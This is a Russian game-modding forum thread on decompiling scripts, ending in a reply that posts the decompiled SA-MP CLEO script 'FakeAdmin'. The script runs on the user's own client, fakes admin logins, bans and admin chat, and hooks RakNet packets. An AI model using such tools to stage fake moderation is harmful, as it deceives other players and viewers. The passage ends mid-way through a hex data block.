Декомпиляция скриптов

FYP

Известный
Автор темы
Администратор
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GVWUrNJ.png
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Общая тема для просьб о помощи в декомпиляциии и декриптованиии скриптов, плагинов и приложений.
Запрещено просить о декомпиляции/декриптовании софта, выставленного на продажу на нашем сайте.

Рекомендации:
  1. Сначала воспользуйтесь поиском по теме и по форуму, возможно его в декомпилированном виде или с исходным кодом уже выкладывали у нас на сайте.
  2. Попытайтесь декомпилировать самостоятельно: CLEO - декриптор, декомпилятор; AHK - распаковщик .exe; LuaJIT - декомпилятор1, декомпилятор2.
  3. Просить о декомпиляции .asi, .sf, .dll, .exe почти бесполезно, часто такие просьбы остаются без ответа и вряд ли вам это что-то даст. Можете попробовать сами, IDA Pro или Ghidra к вашим услугам.
    • Это не касается .exe, которые являются скомпилированными AutoHotKey-скриптами (.ahk).
  4. Добавьте название скрипта к сообщению, если оно известно - это поможет другим пользователям найти его с помощью поиска.
  5. Сообщения по типу "спасибо, помог" по правилам форума считаются флудом и скорее всего будут удалены. Если вам помогли, вы можете нажать кнопку Мне нравится под ответом - это даст понять, что ответ верный.
 
Последнее редактирование:

asdzxcjqwe

¯\_(ツ)_/¯
Друг
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705
Код, пожалуйста

CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0662: printstring "==============================================================="
0662: printstring "My VK: vk.com/id138101483"
0662: printstring "My Skype: hackes8"
0662: printstring "Group VK: vk.com/by_air"
0662: printstring "My YouTube Channel: www.youtube.com/spacebmxair"
0662: printstring "Friend YouTube Channel: www.youtube.com/TheBathorya"
0662: printstring "All rights reserved ©"
0662: printstring "==============================================================="

:Label000156
wait 0
   SAMP.Available
jf @Label000156

:Label000163
wait 0
   SAMP.IsLocalPlayerSpawned
jf @Label000163
chatmsg "===============FakeAdmin===============" 3407667
chatmsg "Скрипт был сделан для канала {3333CC}TheBathorya" 3407667
chatmsg "Автор скрипта: {CC0000}AIR" 3407667
chatmsg "Доступные команды: {9900FF}/apanel (пароль 22290), /ban, /kick, /a, /re(con), /reoff, /request" 3407667
chatmsg "=======================================" 3407667
0@ = 0
16@ = -1
17@ = 0
18@ = 0
19@ = 0
20@ = 0
23@ = 0
26@ = 0
29@ = 0
30@ = 0
$4 = -1
alloc 2@ 128
alloc 21@ 128
alloc 22@ 128
0B34: samp register_client_command "apanel" to_label @Label0009FC
0B34: samp register_client_command "ban" to_label @Label000A83
0B34: samp register_client_command "kick" to_label @Label000CE8
0B34: samp register_client_command "a" to_label @Label000F2D
0B34: samp register_client_command "re" to_label @Label00100F
0B34: samp register_client_command "recon" to_label @Label00100F
0B34: samp register_client_command "reoff" to_label @Label00122B
0B34: samp register_client_command "request" to_label @Label001305
0BE2: raknet setup_outcoming_packet_hook @Label001BB5
0BE1: raknet setup_outcoming_rpc_hook @Label001BB5

:Label000374
wait 0
if
  30@ == 1
jf @Label00040A
if
   not SAMP.IsPlayerConnected($4)
jf @Label0003F3
3@ = 16

:Label0003A1
if
0C5D: samp textdraw 3@ is_exists
jf @Label0003B6
0C5E: samp textdraw 3@ delete

:Label0003B6
3@ += 1
  3@ > 36
jf @Label0003A1
call @Label001BCF 1 0
Actor.PutAt($PLAYER_ACTOR, 31@, 32@, 33@)
$4 = -1
30@ = 0

:Label0003F3
if and
   SAMP.IsCursorActive
   not SAMP.IsDialogActive(-1)
   not SAMP.ChatInputOpened
jf @Label00040A
SAMP.ToggleCursor(0)

:Label00040A
if
   SAMP.DialogRespond(23333, 1@, 0, 2@)
jf @Label00052B
if and
  1@ == 1
0C18: 25@ = strstr string1 2@ string2 "22290"
jf @Label00052B
0@ = 1
chatmsg "[A] Вы успешно авторизовались как {009900}Администратор" 16777215
5@ = 25.0
3@ = 1

:Label00049C
0C48: samp textdraw 3@ create "-1" pos 5@ 428.0
0C52: samp textdraw 3@ set_letter_size 0.35 1.27 color -1081088
0C4E: samp textdraw 3@ set_outline 1 color -16777216
5@ += 30.0
3@ += 1
  3@ > 15
jf @Label00049C
0209: 29@ = random_int_in_ranges 1 5
01BD: 17@ = current_time_in_ms
0209: 19@ = random_int_in_ranges 3333 5555
0AC6: 4@ = label @Label001C33 offset
SAMP.ShowDialog(23334, " ", 4@, "Выбор", "Отмена", 2)

:Label00052B
if
   SAMP.DialogRespond(23334, 1@, 6@, 0)
jf @Label00057A
if
  1@ == 1
jf @Label00057A
chatmsg "Недоступно в данный момент." -5263441

:Label00057A
if
  0@ == 1
jf @Label0009F5
01BD: 18@ = current_time_in_ms
0062: 18@ -= 17@ // (int)
if
001D:   18@ > 19@ // (int)
jf @Label0009F5
if
001D:   29@ > 26@ // (int)
jf @Label000914
13@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
14@ = SAMP.GetPlayerNickname(13@)
0209: 20@ = random_int_in_ranges 0 4
alloc 27@ 128
if
  20@ == 0
jf @Label000608
format 27@ "Привет!"
goto @Label0006B7

:Label000608
if
  20@ == 1
jf @Label00062B
format 27@ "qq"
goto @Label0006B7

:Label00062B
if
  20@ == 2
jf @Label000668
format 27@ "Новенький? Привет, кстати :)"
goto @Label0006B7

:Label000668
if
  20@ == 3
jf @Label0006A2
format 27@ "Здарова. Давно поставили?"
goto @Label0006B7

:Label0006A2
format 27@ "Привет, %s" 14@

:Label0006B7
0209: 20@ = random_int_in_ranges 0 11
alloc 28@ 128
if
  20@ == 0
jf @Label0006F3
format 28@ "Andy_Sweet"
goto @Label0008D8

:Label0006F3
if
  20@ == 1
jf @Label000720
format 28@ "Walter_Shulz"
goto @Label0008D8

:Label000720
if
  20@ == 2
jf @Label00074F
format 28@ "Keylor_Modeste"
goto @Label0008D8

:Label00074F
if
  20@ == 3
jf @Label00077D
format 28@ "Antuan_Disney"
goto @Label0008D8

:Label00077D
if
  20@ == 4
jf @Label0007AD
format 28@ "Leonardo_Wilson"
goto @Label0008D8

:Label0007AD
if
  20@ == 5
jf @Label0007DB
format 28@ "Stefan_Sleeps"
goto @Label0008D8

:Label0007DB
if
  20@ == 6
jf @Label00080B
format 28@ "Manfrendy_Wayne"
goto @Label0008D8

:Label00080B
if
  20@ == 7
jf @Label00083A
format 28@ "Landon_Sanders"
goto @Label0008D8

:Label00083A
if
  20@ == 8
jf @Label000868
format 28@ "Olaf_Nogueira"
goto @Label0008D8

:Label000868
if
  20@ == 9
jf @Label000897
format 28@ "Leonardo_Reddy"
goto @Label0008D8

:Label000897
if
  20@ == 10
jf @Label0008C5
format 28@ "Hoppy_Werside"
goto @Label0008D8

:Label0008C5
format 28@ "Oleg_Wilson"

:Label0008D8
0209: 20@ = random_int_in_ranges 0 1000
chatmsg "[A] %s[%d]: %s" -6697984 28@ 20@ 27@
26@ += 1
free 27@
free 28@

:Label000914
01BD: 17@ = current_time_in_ms
0209: 19@ = random_int_in_ranges 3333 5555
0209: 20@ = random_int_in_ranges 0 1000
if
   SAMP.IsPlayerConnected(20@)
jf @Label0009F5
24@ = SAMP.GetActorHandleByPlayerID(20@)
if
056D:   actor 24@ defined
jf @Label0009F5
format 21@ "%d" 20@
0209: 20@ = random_int_in_ranges 1 15
if
0C5D: samp textdraw 20@ is_exists
jf @Label0009F5
23@ = 0
3@ = 1

:Label00098A
if
0C5D: samp textdraw 3@ is_exists
jf @Label0009BF
0C5A: samp textdraw 3@ get_string_to 22@
if
0C18: 25@ = strstr string1 22@ string2 21@
jf @Label0009BF
23@ = 1

:Label0009BF
3@ += 1
  3@ > 15
jf @Label00098A
if
  23@ == 0
jf @Label0009EE
0C50: samp textdraw 20@ set_string 21@

:Label0009EE
23@ = 0

:Label0009F5
goto @Label000374

:Label0009FC
if
  0@ == 0
jf @Label000A5B
SAMP.ShowDialog(23333, "{BFBBBA}Авторизация", "{FFFFFF}Введите админ-пароль", "Ок", "Отмена", 1)
goto @Label000A81

:Label000A5B
0AC6: 4@ = label @Label001C33 offset
SAMP.ShowDialog(23334, " ", 4@, "Выбор", "Отмена", 2)

:Label000A81
SAMP.CmdRet

:Label000A83
if
  0@ == 1
jf @Label000CA9
   SAMP.IsCommandTyped(8@)
if
0AD4: 9@ = scan_string 8@ format "%d %d %s" 10@ 11@ 12@v 
jf @Label000C6E
13@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
if and
803B:   not  10@ == 13@ // (int)
803B:   not  10@ == 16@ // (int)
   SAMP.IsPlayerConnected(10@)
jf @Label000C67
if
  30@ == 1
jf @Label000B6B
if and
   SAMP.IsCursorActive
   not SAMP.IsDialogActive(-1)
   not SAMP.ChatInputOpened
jf @Label000B12
SAMP.ToggleCursor(0)

:Label000B12
3@ = 16

:Label000B19
if
0C5D: samp textdraw 3@ is_exists
jf @Label000B2E
0C5E: samp textdraw 3@ delete

:Label000B2E
3@ += 1
  3@ > 36
jf @Label000B19
call @Label001BCF 1 0
Actor.PutAt($PLAYER_ACTOR, 31@, 32@, 33@)
$4 = -1
30@ = 0

:Label000B6B
0085: 16@ = 10@ // (int)
13@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
14@ = SAMP.GetPlayerNickname(13@)
15@ = SAMP.GetPlayerNickname(10@)
24@ = SAMP.GetActorHandleByPlayerID(10@)
if
056D:   actor 24@ defined
jf @Label000BA8
Actor.DestroyInstantly(24@)

:Label000BA8
chatmsg " Администратор %s[%d] забанил игрока %s[%d] на %d дней. Причина: %s" -40121 14@ 13@ 15@ 10@ 11@ 12@v
3@ = 1

:Label000C0E
if
0C5D: samp textdraw 3@ is_exists
jf @Label000C52
format 21@ "%d" 10@
0C5A: samp textdraw 3@ get_string_to 22@
if
0C18: 25@ = strstr string1 22@ string2 21@
jf @Label000C52
0C50: samp textdraw 3@ set_string "-1"

:Label000C52
3@ += 1
  3@ > 15
jf @Label000C0E

:Label000C67
goto @Label000CA2

:Label000C6E
chatmsg "Используй: /ban [id] [days 1-30] [Причина]" -4313811

:Label000CA2
goto @Label000CE6

:Label000CA9
chatmsg "[A] Вы не авторизованы. Используйте {33CCFF}/apanel" -5263441

:Label000CE6
SAMP.CmdRet

:Label000CE8
if
  0@ == 1
jf @Label000EEE
   SAMP.IsCommandTyped(8@)
if
0AD4: 9@ = scan_string 8@ format "%d %s" 10@ 12@v 
jf @Label000EBE
13@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
if and
803B:   not  10@ == 13@ // (int)
803B:   not  10@ == 16@ // (int)
   SAMP.IsPlayerConnected(10@)
jf @Label000EB7
if
  30@ == 1
jf @Label000DCA
if and
   SAMP.IsCursorActive
   not SAMP.IsDialogActive(-1)
   not SAMP.ChatInputOpened
jf @Label000D71
SAMP.ToggleCursor(0)

:Label000D71
3@ = 16

:Label000D78
if
0C5D: samp textdraw 3@ is_exists
jf @Label000D8D
0C5E: samp textdraw 3@ delete

:Label000D8D
3@ += 1
  3@ > 36
jf @Label000D78
call @Label001BCF 1 0
Actor.PutAt($PLAYER_ACTOR, 31@, 32@, 33@)
$4 = -1
30@ = 0

:Label000DCA
0085: 16@ = 10@ // (int)
13@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
14@ = SAMP.GetPlayerNickname(13@)
15@ = SAMP.GetPlayerNickname(10@)
24@ = SAMP.GetActorHandleByPlayerID(10@)
if
056D:   actor 24@ defined
jf @Label000E07
Actor.DestroyInstantly(24@)

:Label000E07
chatmsg " Администратор %s[%d] кикнул игрока %s[%d]. Причина: %s" -40121 14@ 13@ 15@ 10@ 12@v
3@ = 1

:Label000E5E
if
0C5D: samp textdraw 3@ is_exists
jf @Label000EA2
format 21@ "%d" 10@
0C5A: samp textdraw 3@ get_string_to 22@
if
0C18: 25@ = strstr string1 22@ string2 21@
jf @Label000EA2
0C50: samp textdraw 3@ set_string "-1"

:Label000EA2
3@ += 1
  3@ > 15
jf @Label000E5E

:Label000EB7
goto @Label000EE7

:Label000EBE
chatmsg "Используй: /kick [id] [Причина]" -4313811

:Label000EE7
goto @Label000F2B

:Label000EEE
chatmsg "[A] Вы не авторизованы. Используйте {33CCFF}/apanel" -5263441

:Label000F2B
SAMP.CmdRet

:Label000F2D
if
  0@ == 1
jf @Label000FD0
   SAMP.IsCommandTyped(8@)
if
0AD4: 9@ = scan_string 8@ format "%s" 12@v 
jf @Label000F97
13@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
14@ = SAMP.GetPlayerNickname(13@)
chatmsg "[A] %s[%d]: %s" -6697984 14@ 13@ 12@v
goto @Label000FC9

:Label000F97
chatmsg "[Ошибка] {FFFFFF}Используйте: /a [текст]" -40121

:Label000FC9
goto @Label00100D

:Label000FD0
chatmsg "[A] Вы не авторизованы. Используйте {33CCFF}/apanel" -5263441

:Label00100D
SAMP.CmdRet

:Label00100F
if
  0@ == 1
jf @Label0011EC
if
   not Actor.Driving($PLAYER_ACTOR)
jf @Label0011C2
   SAMP.IsCommandTyped(8@)
if
0AD4: 9@ = scan_string 8@ format "%d" 10@ 
jf @Label001183
13@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
if and
803B:   not  10@ == 13@ // (int)
   SAMP.IsPlayerConnected(10@)
jf @Label00117C
13@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
24@ = SAMP.GetActorHandleByPlayerID(10@)
if
056D:   actor 24@ defined
jf @Label00117C
Actor.StorePos($PLAYER_ACTOR, 31@, 32@, 33@)
33@ -= 0.5
30@ = 1
call @Label001BCF 1 1
008A: $4 = 10@ // (int)
call @Label001C05 2 10@ 1
gosub @Label001382
chatmsg "[Внимание] {FFFFFF}Вам времено отключена панель! У вас доступны команды: /ban, /kick" -40121
chatmsg "[Внимание] {FFFFFF}Чтобы прекратить слежку введите: /reoff" -40121

:Label00117C
goto @Label0011BB

:Label001183
chatmsg "[Ошибка] {FFFFFF}Введите: /re(con) [ид игрока]" -40121

:Label0011BB
goto @Label0011E5

:Label0011C2
chatmsg "С транспорта нельзя следить!" -1

:Label0011E5
goto @Label001229

:Label0011EC
chatmsg "[A] Вы не авторизованы. Используйте {33CCFF}/apanel" -5263441

:Label001229
SAMP.CmdRet

:Label00122B
if
  0@ == 1
jf @Label0012C6
if
  30@ == 1
jf @Label0012BF
if and
   SAMP.IsCursorActive
   not SAMP.IsDialogActive(-1)
   not SAMP.ChatInputOpened
jf @Label001266
SAMP.ToggleCursor(0)

:Label001266
3@ = 16

:Label00126D
if
0C5D: samp textdraw 3@ is_exists
jf @Label001282
0C5E: samp textdraw 3@ delete

:Label001282
3@ += 1
  3@ > 36
jf @Label00126D
call @Label001BCF 1 0
Actor.PutAt($PLAYER_ACTOR, 31@, 32@, 33@)
$4 = -1
30@ = 0

:Label0012BF
goto @Label001303

:Label0012C6
chatmsg "[A] Вы не авторизованы. Используйте {33CCFF}/apanel" -5263441

:Label001303
SAMP.CmdRet

:Label001305
if
  0@ == 1
jf @Label001343
chatmsg "Недоступно в данный момент." -5263441
goto @Label001380

:Label001343
chatmsg "[A] Вы не авторизованы. Используйте {33CCFF}/apanel" -5263441

:Label001380
SAMP.CmdRet

:Label001382
0C48: samp textdraw 16 create "/request" pos 425.0 291.0
0C4E: samp textdraw 16 set_outline 1 color -16777216
0C52: samp textdraw 16 set_letter_size 0.22 2.9 color -1
0C49: samp textdraw 16 set_box 1 color 1342177280 size 472.0 10.0
0C4A: samp textdraw 16 set_align 0
0C4B: samp textdraw 16 set_proportional 1
0C4C: samp textdraw 16 set_style 2
0C4D: samp textdraw 16 set_shadow 2 color -16777216
0C48: samp textdraw 17 create "_" pos 500.0 109.0
0C4E: samp textdraw 17 set_outline 0 color -16777216
0C52: samp textdraw 17 set_letter_size 0.5 25.9 color -1
0C49: samp textdraw 17 set_box 1 color -8512227 size 606.0 20.0
0C4A: samp textdraw 17 set_align 0
0C4B: samp textdraw 17 set_proportional 0
0C4C: samp textdraw 17 set_style 1
0C4D: samp textdraw 17 set_shadow 1 color -16777216
0C48: samp textdraw 18 create "_" pos 503.0 112.0
0C4E: samp textdraw 18 set_outline 0 color -16777216
0C52: samp textdraw 18 set_letter_size 0.5 25.2 color -1
0C49: samp textdraw 18 set_box 1 color -5353392 size 603.0 20.0
0C4A: samp textdraw 18 set_align 0
0C4B: samp textdraw 18 set_proportional 0
0C4C: samp textdraw 18 set_style 1
0C4D: samp textdraw 18 set_shadow 1 color -16777216
0C48: samp textdraw 19 create "FFFFFF90" pos 504.0 113.0
0C4E: samp textdraw 19 set_outline 0 color 0
0C52: samp textdraw 19 set_letter_size 1.5 1.0 color -12317941
0C49: samp textdraw 19 set_box 0 color -2139062144 size 99.0 27.0
0C4A: samp textdraw 19 set_align 0
0C4B: samp textdraw 19 set_proportional 0
0C4C: samp textdraw 19 set_style 5
0C4D: samp textdraw 19 set_shadow 1 color 0
0C48: samp textdraw 20 create "Check Stat" pos 527.0 118.0
0C4E: samp textdraw 20 set_outline 1 color -16777216
0C52: samp textdraw 20 set_letter_size 0.22 1.3 color -1
0C49: samp textdraw 20 set_box 0 color -2139062144 size 1280.0 1280.0
0C4A: samp textdraw 20 set_align 0
0C4B: samp textdraw 20 set_proportional 1
0C4C: samp textdraw 20 set_style 2
0C4D: samp textdraw 20 set_shadow 2 color -16777216
0C48: samp textdraw 21 create "FFFFFF90" pos 504.0 143.0
0C4E: samp textdraw 21 set_outline 0 color 0
0C52: samp textdraw 21 set_letter_size 1.5 1.0 color -12317941
0C49: samp textdraw 21 set_box 0 color -2139062144 size 99.0 27.0
0C4A: samp textdraw 21 set_align 0
0C4B: samp textdraw 21 set_proportional 0
0C4C: samp textdraw 21 set_style 5
0C4D: samp textdraw 21 set_shadow 1 color 0
0C48: samp textdraw 22 create "Check needs" pos 524.0 148.0
0C4E: samp textdraw 22 set_outline 1 color -16777216
0C52: samp textdraw 22 set_letter_size 0.22 1.3 color -1
0C49: samp textdraw 22 set_box 0 color -2139062144 size 1280.0 1280.0
0C4A: samp textdraw 22 set_align 0
0C4B: samp textdraw 22 set_proportional 1
0C4C: samp textdraw 22 set_style 2
0C4D: samp textdraw 22 set_shadow 2 color -16777216
0C48: samp textdraw 23 create "FFFFFF90" pos 504.0 173.0
0C4E: samp textdraw 23 set_outline 0 color 0
0C52: samp textdraw 23 set_letter_size 1.5 1.0 color -12317941
0C49: samp textdraw 23 set_box 0 color -2139062144 size 99.0 27.0
0C4A: samp textdraw 23 set_align 0
0C4B: samp textdraw 23 set_proportional 0
0C4C: samp textdraw 23 set_style 5
0C4D: samp textdraw 23 set_shadow 1 color 0
0C48: samp textdraw 24 create "Ban Player" pos 526.0 179.0
0C4E: samp textdraw 24 set_outline 1 color -16777216
0C52: samp textdraw 24 set_letter_size 0.22 1.3 color -1
0C49: samp textdraw 24 set_box 0 color -2139062144 size 1280.0 1280.0
0C4A: samp textdraw 24 set_align 0
0C4B: samp textdraw 24 set_proportional 1
0C4C: samp textdraw 24 set_style 2
0C4D: samp textdraw 24 set_shadow 2 color -16777216
0C48: samp textdraw 25 create "FFFFFF90" pos 504.0 203.0
0C4E: samp textdraw 25 set_outline 0 color 0
0C52: samp textdraw 25 set_letter_size 1.5 1.0 color -12317941
0C49: samp textdraw 25 set_box 0 color -2139062144 size 99.0 27.0
0C4A: samp textdraw 25 set_align 0
0C4B: samp textdraw 25 set_proportional 0
0C4C: samp textdraw 25 set_style 5
0C4D: samp textdraw 25 set_shadow 1 color 0
0C48: samp textdraw 26 create "Warn Player" pos 525.0 208.0
0C4E: samp textdraw 26 set_outline 1 color -16777216
0C52: samp textdraw 26 set_letter_size 0.22 1.3 color -1
0C49: samp textdraw 26 set_box 0 color -2139062144 size 1280.0 1280.0
0C4A: samp textdraw 26 set_align 0
0C4B: samp textdraw 26 set_proportional 1
0C4C: samp textdraw 26 set_style 2
0C4D: samp textdraw 26 set_shadow 2 color -16777216
0C48: samp textdraw 27 create "FFFFFF90" pos 504.0 233.0
0C4E: samp textdraw 27 set_outline 0 color 0
0C52: samp textdraw 27 set_letter_size 1.5 1.0 color -12317941
0C49: samp textdraw 27 set_box 0 color -2139062144 size 99.0 27.0
0C4A: samp textdraw 27 set_align 0
0C4B: samp textdraw 27 set_proportional 0
0C4C: samp textdraw 27 set_style 5
0C4D: samp textdraw 27 set_shadow 1 color 0
0C48: samp textdraw 28 create "Ajail Player" pos 525.0 239.0
0C4E: samp textdraw 28 set_outline 1 color -16777216
0C52: samp textdraw 28 set_letter_size 0.22 1.3 color -1
0C49: samp textdraw 28 set_box 0 color -2139062144 size 1280.0 1280.0
0C4A: samp textdraw 28 set_align 0
0C4B: samp textdraw 28 set_proportional 1
0C4C: samp textdraw 28 set_style 2
0C4D: samp textdraw 28 set_shadow 2 color -16777216
0C48: samp textdraw 29 create "FFFFFF90" pos 504.0 263.0
0C4E: samp textdraw 29 set_outline 0 color 0
0C52: samp textdraw 29 set_letter_size 1.5 1.0 color -12317941
0C49: samp textdraw 29 set_box 0 color -2139062144 size 99.0 27.0
0C4A: samp textdraw 29 set_align 0
0C4B: samp textdraw 29 set_proportional 0
0C4C: samp textdraw 29 set_style 5
0C4D: samp textdraw 29 set_shadow 1 color 0
0C48: samp textdraw 30 create "Go:NEXT ->>>>" pos 525.0 269.0
0C4E: samp textdraw 30 set_outline 1 color -16777216
0C52: samp textdraw 30 set_letter_size 0.22 1.3 color -1
0C49: samp textdraw 30 set_box 0 color -2139062144 size 1280.0 1280.0
0C4A: samp textdraw 30 set_align 0
0C4B: samp textdraw 30 set_proportional 1
0C4C: samp textdraw 30 set_style 2
0C4D: samp textdraw 30 set_shadow 2 color -16777216
0C48: samp textdraw 31 create "FFFFFF90" pos 504.0 293.0
0C4E: samp textdraw 31 set_outline 0 color 0
0C52: samp textdraw 31 set_letter_size 1.5 1.0 color -12317941
0C49: samp textdraw 31 set_box 0 color -2139062144 size 99.0 27.0
0C4A: samp textdraw 31 set_align 0
0C4B: samp textdraw 31 set_proportional 0
0C4C: samp textdraw 31 set_style 5
0C4D: samp textdraw 31 set_shadow 1 color 0
0C48: samp textdraw 32 create "<<<<- Go:Back" pos 525.0 300.0
0C4E: samp textdraw 32 set_outline 1 color -16777216
0C52: samp textdraw 32 set_letter_size 0.22 1.3 color -1
0C49: samp textdraw 32 set_box 0 color -2139062144 size 1280.0 1280.0
0C4A: samp textdraw 32 set_align 0
0C4B: samp textdraw 32 set_proportional 1
0C4C: samp textdraw 32 set_style 2
0C4D: samp textdraw 32 set_shadow 2 color -16777216
0C48: samp textdraw 33 create "FFFFFF90" pos 504.0 323.0
0C4E: samp textdraw 33 set_outline 0 color 0
0C52: samp textdraw 33 set_letter_size 1.5 1.0 color -12317941
0C49: samp textdraw 33 set_box 0 color -2139062144 size 48.0 16.0
0C4A: samp textdraw 33 set_align 0
0C4B: samp textdraw 33 set_proportional 0
0C4C: samp textdraw 33 set_style 5
0C4D: samp textdraw 33 set_shadow 1 color 0
0C48: samp textdraw 34 create "FFFFFF90" pos 554.0 323.0
0C4E: samp textdraw 34 set_outline 0 color 0
0C52: samp textdraw 34 set_letter_size 1.5 1.0 color -12317941
0C49: samp textdraw 34 set_box 0 color -2139062144 size 48.0 16.0
0C4A: samp textdraw 34 set_align 0
0C4B: samp textdraw 34 set_proportional 0
0C4C: samp textdraw 34 set_style 5
0C4D: samp textdraw 34 set_shadow 1 color 0
0C48: samp textdraw 35 create "Other" pos 519.0 326.0
0C4E: samp textdraw 35 set_outline 1 color -16777216
0C52: samp textdraw 35 set_letter_size 0.17 0.899999 color -1
0C49: samp textdraw 35 set_box 0 color -2139062144 size 1280.0 1280.0
0C4A: samp textdraw 35 set_align 0
0C4B: samp textdraw 35 set_proportional 1
0C4C: samp textdraw 35 set_style 2
0C4D: samp textdraw 35 set_shadow 2 color -16777216
0C48: samp textdraw 36 create "Exit" pos 570.0 326.0
0C4E: samp textdraw 36 set_outline 1 color -16777216
0C52: samp textdraw 36 set_letter_size 0.17 0.899999 color -1
0C49: samp textdraw 36 set_box 0 color -2139062144 size 1280.0 1280.0
0C4A: samp textdraw 36 set_align 0
0C4B: samp textdraw 36 set_proportional 1
0C4C: samp textdraw 36 set_style 2
0C4D: samp textdraw 36 set_shadow 2 color -16777216
return

:Label001BB5
if
  30@ == 1
jf @Label001BCB
0BE0: raknet hook_ret 0

:Label001BCB
0BE0: raknet hook_ret 1

:Label001BCF
if
  0@ == 0
jf @Label001BE3
SAMP.Spawn

:Label001BE3
1@ = RakNet.NewBitStream()
BitStream.Write(1@, 0@, BS_TYPE_INT, 4)
0BF6: raknet emul_rpc_receive 124 bit_stream 1@
RakNet.DeleteBitStream(1@)
ret 0

:Label001C05
2@ = RakNet.NewBitStream()
BitStream.Write(2@, 0@, BS_TYPE_SHORT, 2)
BitStream.Write(2@, 1@, BS_TYPE_BYTE, 1)
0BF6: raknet emul_rpc_receive 126 bit_stream 2@
RakNet.DeleteBitStream(2@)
ret 0

:Label001C33
hex
7b 46 46 46 46 46 46 7d 5b 31 5d 20 41 64 6d 69
6e 73 0a 5b 32 5d 20 ce f7 e8 f1 f2 e8 f2 fc 20
d7 e0 f2 0a 5b 34 5d 20 c7 e0 ef f0 e0 e2 e8 f2
fc 20 ec e0 f8 e8 ed fb 0a 7b 41 42 45 42 35 38
7d 5b 31 5d 7b 46 46 46 46 46 46 7d 20 c1 eb e0
f2 e5 f0 fb 0a 5b 32 5d 20 cf ee f7 e8 ed e8 f2
fc 20 ec e0 f8 e8 ed f3 0a 5b 33 5d 20 d1 ef e0
e2 ed 20 d2 f0 e0 ed f1 ef ee f0 f2 e0 0a 7b 46
46 30 30 30 30 7d 5b 33 5d 20 42 41 4e 4c 49 53
54 7b 46 46 46 46 46 46 7d 0a 5b 34 5d 20 cb e8
e4 e5 f0 fb 2f d1 ed ff f2 fc 20 eb e8 e4 e5 f0
e0 0a 5b 34 5d 20 d3 f1 f2 f0 ee e8 f2 fc 20 e3
ee ed ea f3 0a 5b 36 5d 20 cd e0 f1 f2 f0 ee e9
ea e8 0a 5b 33 5d 20 cc ee ed e8 f2 ee f0 e8 ed
e3 20 e4 ee ec ee e2 0a 5b 33 5d 20 cc ee ed e8
f2 ee f0 e8 ed e3 20 e1 e0 ed e5 f0 ee e2 0a 7b
46 32 43 39 33 34 7d 5b 33 5d 7b 46 46 46 46 46
46 7d 20 d2 e5 f0 e0 ea f2 fb 20 c1 e0 ed ea 2f
cc 2f c0 20 5b 7b 41 41 45 39 35 32 7d c2 ea eb
7b 46 46 46 46 46 46 7d 5d 0a 7b 45 39 38 45 35
32 7d 5b 35 5d 7b 46 46 46 46 46 46 7d 20 cf e0
e4 e5 ed e8 e5 20 ec e5 f2 e5 ee f0 e8 f2 e0 3a
20 5b 7b 45 39 35 32 35 32 7d ce f2 ea eb 7b 46
46 46 46 46 46 7d 5d 0a 7b 45 39 38 45 35 32 7d
5b 33 5d 7b 46 46 46 46 46 46 7d 20 cf ee ef ee
eb ed e8 f2 fc 20 f1 ea eb e0 e4 20 f4 e5 f0 ec
fb 20 e8 20 e3 f0 f3 e7 f7 e8 ea ee e2 0a 7b 45
39 38 45 35 32 7d 5b 34 5d 7b 46 46 46 46 46 46
7d 20 ce e1 ff e7 e0 f2 e5 eb fc ed fb e5 20 ee
f2 e2 e5 f2 fb 20 d5 c5 cb cf 2e 20 5b 7b 41 41
45 39 35 32 7d c2 ea eb 7b 46 46 46 46 46 46 7d
5d 0a 7b 45 39 38 45 35 32 7d 5b 35 5d 7b 46 46
46 46 46 46 7d 20 d3 ef f0 e0 e2 eb e5 ed e8 e5
20 5a 5a 0a 7b 45 39 38 45 35 32 7d 5b 34 5d 7b
46 46 46 46 46 46 7d 20 cf ee e4 f2 e2 e5 f0 e6
e4 e5 ed e8 e5 20 45 2d 6d 61 69 6c 20 5b 7b 34
35 46 42 36 36 7d 30 20 e7 e0 ff e2 ee ea 7b 46
46 46 46 46 46 7d 5d 0a 7b 45 39 38 45 35 32 7d
5b 35 5d 7b 46 46 46 46 46 46 7d 20 c8 e7 ec e5
ed e8 f2 fc 20 ed e0 e7 e2 e0 ed e8 e5 20 f1 e5
f0 e2 e5 f0 e0 0a 7b 45 39 38 45 35 32 7d 5b 35
5d 7b 46 46 46 46 46 46 7d 20 cf ee ef ee eb ed
e8 f2 fc 20 ef f0 ee e4 f3 ea f2 fb 20 e4 eb ff
20 e3 ee f1 2e 20 e1 e8 e7 ed e5 f1 ee e2 2e 0a
7b 45 39 38 45 35 32 7d 5b 31 5d 7b 46 46 46 46
46 46 7d 20 d1 f2 e0 f2 e8 f1 f2 e8 ea e0 20 e4
e5 ed e5 e3 2e 0a 7b 45 39 38 45 35 32 7d 5b 35
5d 7b 46 46 46 46 46 46 7d 20 cb ee f2 e5 f0 e5
e9 ed e0 ff 3a 20 5b 7b 41 41 45 39 35 32 7d c2
ea eb 7b 46 46 46 46 46 46 7d 5d 0a 7b 45 39 38
45 35 32 7d 5b 34 5d 7b 46 46 46 46 46 46 7d 20
d1 ee e7 e4 e0 f2 fc 20 ee e1 fc e5 ea f2 0a 7b
45 39 38 45 35 32 7d 5b 35 5d 7b 46 46 46 46 46
46 7d 20 cf ee ef ee eb ed e8 f2 fc 20 e1 e0 ed
ea ee ec e0 f2 fb 0a 7b 45 39 38 45 35 32 7d 5b
35 5d 7b 46 46 46 46 46 46 7d 20 c0 ed f2 e8 f7
e8 f2 20 ec e8 ed e8 e3 e0 ed 3a 20 5b 7b 45 39
35 32 35 32 7d ce f2 ea eb 7b 46 46 46 46 46 46
7d 5d 0a 5b 34 5d 20 c0 e2 f2 ee 20 f0 e5 f1 ef
e0 f3 ed 20 f2 f0 e0 ed f1 ef ee f0 f2 e0 3a 20
5b 7b 45 39 35 32 35 32 7d ce f2 ea eb 7b 46 46
